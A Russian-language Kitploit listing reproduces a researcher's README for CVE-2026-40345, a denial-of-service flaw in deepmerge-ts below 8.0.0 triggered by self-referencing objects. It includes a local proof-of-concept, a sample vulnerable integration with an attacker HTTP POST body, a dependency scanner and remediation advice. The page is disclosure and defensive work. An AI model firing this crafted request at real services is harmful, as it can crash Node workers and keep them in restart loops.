Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-40345 — Воспроизводит отказ в обслуживании из-за исчерпания стека в deepmerge-ts до версии 8.0.0, документирует эксплуатацию уязвимости и включает сканер для поиска уязвимых диапазонов зависимостей. | Kitploit
Инструменты/GitHubGitHub/jvr2022/cve-2026-40345
Сканеры уязвимостейАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьБезопасность Цепочки Поставок
GitHubjvr2022/cve-2026-40345

CVE-2026-40345

Воспроизводит отказ в обслуживании из-за исчерпания стека в deepmerge-ts до версии 8.0.0, документирует эксплуатацию уязвимости и включает сканер для поиска уязвимых диапазонов зависимостей.

Репозиторий
6324 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

deepmerge-ts < 8.0.0: рекурсивный DoS через граф объектов

Я воспроизвёл ошибку переполнения стека в версиях deepmerge-ts до 8.0.0.

Интересно то, что для краха не нужен огромный вложенный объект. Причина — в идентичности объектов. Если оба объединяемых значения ссылаются сами на себя через одно и то же свойство, процедура объединения продолжает посещать одну и ту же пару, пока Node.js не исчерпает пространство стека.

Advisory: GHSA-ggr8-5vv4-36mx CVE: CVE-2026-40345 CWE: CWE-674 Severity: High Impact: Availability

Почему это выделяется

Большинство тестов слияния используют обычные JSON-подобные данные:

root@kitploit:~
{
  user: {
    name: "alice"
  }
}

Такие данные ацикличны. Объекты JavaScript также могут содержать ссылки на самих себя или на другой объект в том же графе. Эти случаи легко пропустить, если тестовый набор использует только JSON-фикстуры.

Минимальный падающий граф — два отдельных объекта с одинаковой self-ссылкой:

root@kitploit:~
const left = {};
left.self = left;

const right = {};
right.self = right;

Что происходит внутри

Объединение записей обходит перечисляемые ключи, собирает значения для каждого ключа и снова вызывает процедуру объединения для этих значений. В затрагиваемых версиях нет ни проверки циклов, ни отслеживания ранее виденной пары объектов.

Ключ self возвращает исполнение в то же самое состояние:

root@kitploit:~
deepmerge(left, right)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> merge(left.self, right.self)
  -> RangeError: Maximum call stack size exceeded

То же самое поведение доступно через deepmergeInto, deepmergeCustom и deepmergeIntoCustom, когда они получают такой же граф.

Локальное воспроизведение

Пакет зафиксирован на затрагиваемой версии 7.1.6 в package.json.

root@kitploit:~
npm install
npm run poc

Полный тест находится в poc.mjs. Он локально запускает оба публичных API и перехватывает ожидаемый RangeError, чтобы результат было легко прочитать.

Важная часть PoC:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function recursiveRecord() {
  const record = {};
  record.self = record;
  return record;
}

deepmerge(recursiveRecord(), recursiveRecord());

Ожидаемый вывод:

root@kitploit:~
deepmerge: RangeError: Maximum call stack size exceeded
deepmergeInto: RangeError: Maximum call stack size exceeded

PoC возвращает успех, когда затрагиваемое поведение наблюдается. Если пакет обновлён и оба вызова завершаются, скрипт печатает чистый результат и завершается с кодом 1, потому что проблема не была воспроизведена.

Как это можно эксплуатировать

Не существует магической циклической JSON-нагрузки. Обычный JSON-парсер создаёт ацикличный граф, поэтому это не срабатывает от простой отправки очень глубокого JSON-тела в:

root@kitploit:~
deepmerge(defaults, req.body);

Приложению нужно создать или сохранить цикл до вызова функции слияния. Это может произойти в коде гидратации графа, в десериализаторе, сохраняющем ссылки, при переиспользовании кэша или объектов сессии, либо в пользовательской логике, связывающей записи между собой.

Вот небольшой пример уязвимой интеграции. Функция hydrate превращает управляемый пользователем флаг в self-ссылку:

root@kitploit:~
import { deepmerge } from "deepmerge-ts";

function hydrate(input) {
  const object = { value: input.value };
  if (input.self === true) object.self = object;
  return object;
}

function mergeRequest(body) {
  const left = hydrate(body.left);
  const right = hydrate(body.right);
  return deepmerge(left, right);
}

Если HTTP-маршрут вызывает mergeRequest, атакующий может отправить:

root@kitploit:~
POST /merge
Content-Type: application/json

{"left":{"value":"a","self":true},"right":{"value":"b","self":true}}

Теперь обе стороны содержат ссылку self. Когда маршрут вызывает deepmerge(left, right), библиотека переходит по left.self и right.self, снова получает ту же пару и рекурсивно выполняется, пока V8 не выбросит исключение.

Приложению не обязательно использовать именно эту функцию hydrate. Важны следующие условия:

  1. Контролируемые атакующим данные могут влиять на рекурсивный граф объектов.
  2. Оба входных объекта для слияния содержат цикл по одному и тому же пути свойства.
  3. Граф достигает одного из затрагиваемых API слияния.

Если маршрут публичный и исключение не перехвачено, один запрос может остановить worker Node.js. Если супервизор процессов автоматически перезапускает его, повторные запросы могут держать сервис в цикле перезапуска. Если требуется аутентификация, атакующему всё равно нужен доступ к этому маршруту.

Это проблема отказа в обслуживании. Ошибка не даёт выполнения кода, доступа к файлам или возможности прочитать входные данные слияния из другого запроса.

Почему одного JSON недостаточно

Это различие важно при оценке реального приложения. Следующее тело запроса само по себе не является циклом:

root@kitploit:~
{
  "self": true
}

Оно становится значимым, только если код приложения интерпретирует self: true как ссылку на корневой объект, или если другой парсер восстанавливает ссылки на объекты. Пакет всё равно должен безопасно обрабатывать результирующий граф, но удалённая эксплуатируемость зависит от кода вокруг пакета.

Воздействие

Прямое воздействие — это нарушение доступности из-за синхронного исчерпания стека.

В зависимости от окружающего приложения результат может быть таким:

  • один запрос завершается ошибкой RangeError
  • необработанное исключение завершает процесс worker
  • повторные перезапуски worker под управлением process manager
  • очередь запросов накапливается, пока workers перезапускаются
  • сервис становится недоступным, когда маршрут можно многократно достигать

Сама по себе эта проблема не влияет на конфиденциальность или целостность. Серьёзность возрастает, когда маршрут слияния не требует аутентификации, доступен из публичного интернета или автоматически повторяется другим сервисом.

Обнаружение

Я добавил scanner.mjs для поиска затрагиваемых ссылок на зависимость до запуска crash-PoC. Он проверяет:

  • диапазоны зависимостей в package.json
  • package-lock.json
  • npm-shrinkwrap.json
  • pnpm-lock.yaml

Запустите его против каталога проекта:

root@kitploit:~
node scanner.mjs /path/to/project

Для CI или других инструментов используйте JSON-вывод:

root@kitploit:~
node scanner.mjs /path/to/project --json

Пример результата для этого репозитория:

root@kitploit:~
deepmerge-ts findings: 2
VULNERABLE package-lock.json node_modules/deepmerge-ts resolved=7.1.6
VULNERABLE package.json dependencies requested=7.1.6

Сканер завершается с кодом 1, когда находит затрагиваемую версию или диапазон. Git-URL и другие не-semver источники помечаются как REVIEW, а не молча считаются безопасными.

Исправление

Прямое исправление — обновить deepmerge-ts >= 8.0.0 и обновить lockfile.

root@kitploit:~
npm install deepmerge-ts@^8.0.0

Приложению также следует решить, как обрабатывать рекурсивный ввод. Разумные варианты:

  • отклонять циклы на границе ввода
  • отслеживать посещённые пары объектов во время слияния
  • ограничивать глубину слияния и завершаться контролируемой ошибкой
  • перехватывать ошибки слияния на границе запроса
  • мониторить завершения worker и циклы перезапуска

Перехват ошибки полезен для стабильности процесса, но он не устраняет лежащий в основе отказ в обслуживании, если атакующий может повторять запрос. Обновление зависимости и обработка рекурсивного ввода — важные исправления.

Проверка исправленного релиза

Замените зависимость на 8.0.1, переустановите и запустите тот же PoC:

root@kitploit:~
npm install [email protected]
npm run poc

На исправленном релизе оба вызова завершаются, и скрипт печатает:

root@kitploit:~
deepmerge: completed
deepmergeInto: completed
No stack exhaustion observed. Try an affected version below 8.0.0.

Ссылки

  • GitHub Security Advisory
  • CVE-2026-40345
  • deepmerge-ts on npm
  • CWE-674: Uncontrolled Recursion

Лицензия

PoC и сканер в этом репозитории выпущены под MIT License.

Скачать инструмент